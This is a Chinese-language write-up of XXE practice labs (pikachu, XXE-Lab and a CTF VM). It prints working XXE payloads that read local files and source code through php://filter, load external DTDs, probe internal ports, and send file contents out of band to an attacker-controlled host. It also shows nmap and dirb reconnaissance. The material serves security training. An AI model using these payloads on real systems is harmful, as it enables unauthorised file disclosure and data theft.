XXE练习

pikachu-XXE靶场

1.POC:攻击测试

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a">]>
<foo>&xxe;</foo>

c3c4354c00ab5b6036e8c81f72d1135b.png

a9ab2389bb8631fee1a24df28c1a5e34.png

2.EXP:查看文件

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///C:/flag/flag" > ]>
<foo>&xxe;</foo>

6628eac12cde6e92a20aece8a17d0690.png

3.EXP:查看源码

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/1.php">]>
<foo>&xxe;</foo>

915ae19509887bc877534828df32ba57.png

4.EXP:DTD外部调用

<!ENTITY evil SYSTEM "file:///C:/flag/flag">
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.1.195:80/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

f5520e401cb736b1d08c20a016465f37.png

5.EXP:探测内网存活主机与开放端口

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit</x>

端口开放回显很快

93b22cca484d310b927c35ad8619a04d.png

端口未开连接超时

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8087">
]>
<x>&rabbit</x>

6.EXP:无回显探测

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.133.129:8888/?%file;'>">
%start;
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.1.195/66.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/flag/flag">
%remote;
%send;
]>

12f4790c959cab9b2b8c0df74b4ece6f.png

XXE-Lab靶场

目标获取flag

1.访问网页

418edcbcd156d73ca449c0748ceaff47.png

2.尝试注入,获取flag

BP抓他瞧一瞧

看到支持接收xml数据注入一下试试

text/xml和application/xml

81ea1c52041000865503f285b3171b7a.png

<!DOCTYPE username [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/flag/flag">]>
<user><username>
&xxe;</username><password>1</password>
</user>//flag{dmsioamdoiasdmdmwmdsmd}

1410585718c3f24a6d6a8960004e36f4.png

XXE靶机

目标获取flag

1.装好靶机

这个样子就可以了

81108fc18b9829682111438864ef9031.png

2.获取靶机IP

用Nmap扫描整个D段获取靶机IP

nmap -O 192.168.133.129/24

1766371c994483d5baf013ae234cdbea.png

或者是用命令

arp-scan -l

bf93478a7c6636297875616c6d0d6968.png

4.信息收集

先去看看网页

Apache的默认页面,并什么可以利用的

bb2c313f2fbb483bf005a5e9c6b4b1cc.png

利用dirb工具去扫一下后台目录和文件

dirb http://192.168.133.131/

3fdbd401f714119182dcc634fa792d61.png

2ce27ac8761a9e9e28028fa99ee6d1f7.png

挨个访问一遍后发现两个登录界面

9e10afd6928de93e86121ecaa845a3ae.png

6fb5108cfeb7ba793166135977a6311b.png

5.尝试注入

xxe有回显点

抓包看看;尝试注入

3528a7a591baa61e708c54f017b407d9.png

查看admin.php的源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/admin.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

600fcac7aca29a16aaddfbe6370346e3.png

解密后,在看源码发现好像是账号密码;去解密一下登录试试

56ef4e81923916af0f7900ec7f638193.png

83225a100b58569bcab9a4844e65dc77.png

登录后是这样,点击Flag后发现新的php文件

644b1213b2ac97c2ddb20a2b9fc2d5c8.png

1adc19aa54001d0211331b661a6933fa.png

去访问看看

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

1ea76f8d3a93e274262d60e9d405f57b.png

解密后

54a5a7eae3e360aec6eed637c7cd9b3f.png

Base32解密后发现还得64解码

9c710242862386ca2f27f928aa1be937.png

4758540225e2a58320eb8cccda82e159.png

得到一个php文件去访问试试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/.flag.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

10c8837ffd72b5b54e67caffc7087129.png

6.成功获取flag

在php文件中运行

ba3a1384e24bb8974d2825b5c0f020e4.png

访问一下就成功获取flag

 SAFCSP{xxe_is_so_easy}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/64483.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

正则表达式在线校验(RegExp) - 加菲工具

正则表达式在线校验 - 加菲工具 打开网站 加菲工具 选择“正则表达式在线校验” 或者直接打开https://www.orcc.online/tools/regexp 输入待校验的源文本与正则表达式&#xff0c;点击“校验”按钮 需要注意检验后的内容可能存在多空格&#xff0c;可以拉下去看看~

java后端环境配置

因为现在升学了&#xff0c;以前本来想毕业干java的&#xff0c;很多java的环境配置早就忘掉了&#xff08;比如mysql maven jdk idea&#xff09;&#xff0c;想写个博客记录下来&#xff0c;以后方便自己快速搭建环境 JAVA后端开发配置 环境配置jdkideamavenMySQLnavicate17…

51c嵌入式~合集3

我自己的原文哦~ https://blog.51cto.com/whaosoft/12847563 一、UCIe 2.0 日前&#xff0c;通用芯粒互连&#xff08;UCIe&#xff09;产业联盟最新公布了 UCIe 2.0 规范&#xff0c;支持可管理性标准化系统架构&#xff0c;并全面解决了系统级封装&#xff08;SiP&#x…

解决电脑网速慢问题:硬件检查与软件设置指南

电脑网速慢是许多用户在使用过程中常见的问题&#xff0c;它不仅会降低工作效率&#xff0c;还可能影响娱乐体验。导致电脑网速慢的原因多种多样&#xff0c;包括硬件问题、软件设置和网络环境等。本文将从不同角度分析这些原因&#xff0c;并提供提高电脑网速的方法。 一、检查…

6、AI测试辅助-测试报告编写(生成Bug分析柱状图)

AI测试辅助-测试报告编写&#xff08;生成Bug分析柱状图&#xff09; 一、测试报告1. 创建测试报告2. 报告补充优化2.1 Bug图表分析 3. 风险评估 总结 一、测试报告 测试报告内容应该包含&#xff1a; 1、测试结论 2、测试执行情况 3、测试bug结果分析 4、风险评估 5、改进措施…

【C++ 】for 循环系统深入解析与实现法比较

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;for 循环的基本语法格式语法格式&#xff1a;格式一&#xff1a;单行语句的 for 循环格式二&#xff1a;多行语句的 for 循环循环流程图实例代码 for 循环中变量初始化的作…

Protobuf: 初识

protobuf是什么 简单来讲&#xff0c;ProtoBuf&#xff08;全称为ProtocolBuffer&#xff09;是让结构数据序列化的⽅法&#xff0c;其具有以下特点&#xff1a; • 语⾔⽆关、平台⽆关&#xff1a;即ProtoBuf⽀持Java、C、Python等多种语⾔&#xff0c;⽀持多个平台。 • ⾼效…

CSS 语法

CSS 语法 CSS(层叠样式表)是一种用于描述HTML或XML文档样式的样式表语言。它允许您将样式信息与文档内容分离,从而更有效地控制网页的布局和外观。本文将详细介绍CSS的基本语法和结构,帮助您更好地理解和应用CSS。 CSS的基本结构 CSS由一系列的规则组成,每个规则包含一…

Vue3安装配置、开发环境搭建(组件安装卸载)(图文详细)

Vue3安装配置、开发环境搭建(组件安装卸载)&#xff08;图文详细&#xff09; 本文目录&#xff1a; 一、vue的主要安装使用方式 二、node.js安装和配置 1、支持运行 Node.js的平台 2、Node.js 版本开发发布时间表&#xff08;日期可能会有变化&#xff09; 3、下载安装n…

Oracle 适配 OpenGauss 数据库差异语法汇总

背景 国产化进程中&#xff0c;需要将某项目的数据库从 Oracle 转为 OpenGauss &#xff0c;项目初期也是规划了适配不同数据库的&#xff0c;MyBatis 配置加载路径设计的是根据数据库类型加载指定文件夹的 xml 文件。 后面由于固定了数据库类型为 Oracle 后&#xff0c;只写…

Vue进阶之状态管理,解锁项目开发超能力

一、概念 状态管理是指对应用程序中状态的管理。在软件领域&#xff0c;状态是指在某个特定时刻&#xff0c;应用程序的数据和行为表现。 以一个简单的购物网站为例&#xff0c;购物车中的商品列表、用户的登录状态等都是状态。状态管理主要涉及这些状态如何被存储、更新和在…

操作系统(16)I/O软件

前言 操作系统I/O软件是负责管理和控制计算机系统与外围设备&#xff08;例如键盘、鼠标、打印机、存储设备等&#xff09;之间交互的软件。 一、I/O软件的定义与功能 定义&#xff1a;I/O软件&#xff0c;也称为输入/输出软件&#xff0c;是计算机系统中用于管理和控制设备与主…

WPF+MVVM案例实战与特效(四十二)- 打造炫酷彩虹字体控件,让你的应用闪耀起来

文章目录 1、引言2、案例实现1、依赖属性2、代码解释3、转换器实现3、控件使用4、运行效果4、总结1、引言 在WPF 应用程序中,视觉效果往往是吸引用户注意力的关键。一个小小的字体控件,如果能够以彩虹般的色彩展示文本,不仅能让界面更加生动,还能为用户提供独特的交互体验…

游戏AI实现-寻路算法(Dijkstra)

戴克斯特拉算法&#xff08;英语&#xff1a;Dijkstras algorithm&#xff09;&#xff0c;又称迪杰斯特拉算法、Dijkstra算法&#xff0c;是由荷兰计算机科学家艾兹赫尔戴克斯特拉在1956年发现的算法。 算法过程&#xff1a; 1.首先设置开始节点的成本值为0&#xff0c;并将…

CTFshow-文件上传(Web151-170)

CTFshow-文件上传(Web151-170) 参考了CTF show 文件上传篇&#xff08;web151-170&#xff0c;看这一篇就够啦&#xff09;-CSDN博客 Web151 要求png&#xff0c;然后上传带有一句话木马的a.png&#xff0c;burp抓包后改后缀为a.php&#xff0c;然后蚁剑连接&#xff0c;找fl…

Unity超优质动态天气插件(含一年四季各种天气变化,可用于单机局域网VR)

效果展示&#xff1a;https://www.bilibili.com/video/BV1CkkcYHENf/?spm_id_from333.1387.homepage.video_card.click 在你的项目中设置enviro真的很容易&#xff01;导入包裹并按照以下步骤操作开始的步骤&#xff01; 1. 拖拽“EnviroSky”预制件&#xff08;“environme…

Windows环境下安装和使用Open Interpreter(没有OpenAI API key也可以运行)

文章目录 Open Interpreter简介安装运行本地模型运行model i退出 Open Interpreter简介 相比于其他的模型&#xff0c;Open Interpreter最大的亮点就是能够在模型上直接自动运行和调试代码。而其他的模型则需要在生成代码之后&#xff0c;复制到对应的本地IDE上运行、调试。如…

Python列表推导式:嵌套用法详解

Python列表推导式&#xff1a;嵌套用法详解 1. 什么是列表推导式&#xff1f;举个例子&#xff1a; 2. 什么是嵌套列表推导式&#xff1f;举个例子&#xff1a; 3. 嵌套列表推导式的语法再来一个例子&#xff1a; 4. 嵌套列表推导式的高级用法4.1 生成矩阵4.2 过滤嵌套列表4.3 …

Ubuntu如何下载nvidia驱动和Cuda Toolkit

Ubuntu如何下载nvidia驱动和Cuda Toolkit 前言 ‍ 手快不小心把 nvidia​ 的某个东西删除了&#xff0c;现在不得不全部卸载后再重新安装了。 我再也不敢在不确认内容的情况下&#xff0c;确认删除了… ‍ Note: ‍ 笔者环境为 Ubuntu 24.04LTS​ ‍ ‍ 目录 ‍ 文章…

Ubuntu系统安装MySQL

使用在线方式安装 更新软件包 sudo apt update安装MySQL服务器 # 查看可使用的安装包 sudo apt search mysql-server安装指定版本的MySQL # 安装指定版本 sudo apt install -y mysql-server-8.0如果不加-y 会在安装过程中&#xff0c;系统将提示你设置MySQL的root密码。记住…